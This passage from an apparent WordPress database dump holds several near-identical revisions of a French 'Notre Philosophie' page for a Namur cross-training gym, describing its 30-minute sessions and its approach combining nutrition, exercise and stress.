src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:23', '2013-07-04 19:16:23', '', 5, 'http://www.crosstrainingcenter.be/5-revision-52/', 0, 'revision', '', 0),
(307, 1, '2013-07-04 19:16:45', '2013-07-04 19:16:45', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:16:45', '2013-07-04 19:16:45', '', 5, 'http://www.crosstrainingcenter.be/5-revision-53/', 0, 'revision', '', 0),
(308, 1, '2013-07-04 19:17:07', '2013-07-04 19:17:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 350px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:07', '2013-07-04 19:17:07', '', 5, 'http://www.crosstrainingcenter.be/5-revision-54/', 0, 'revision', '', 0),
(309, 1, '2013-07-04 19:17:25', '2013-07-04 19:17:25', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 310px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:25', '2013-07-04 19:17:25', '', 5, 'http://www.crosstrainingcenter.be/5-revision-55/', 0, 'revision', '', 0);
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(310, 1, '2013-07-04 19:17:38', '2013-07-04 19:17:38', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 300px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:38', '2013-07-04 19:17:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-56/', 0, 'revision', '', 0),
(311, 1, '2013-07-04 19:17:51', '2013-07-04 19:17:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:51', '2013-07-04 19:17:51', '', 5, 'http://www.crosstrainingcenter.be/5-revision-57/', 0, 'revision', '', 0),
(312, 1, '2013-07-04 19:21:55', '2013-07-04 19:21:55', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:21:55', '2013-07-04 19:21:55', '', 5, 'http://www.crosstrainingcenter.be/5-revision-58/', 0, 'revision', '', 0),
(313, 1, '2013-07-04 19:24:32', '2013-07-04 19:24:32', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à 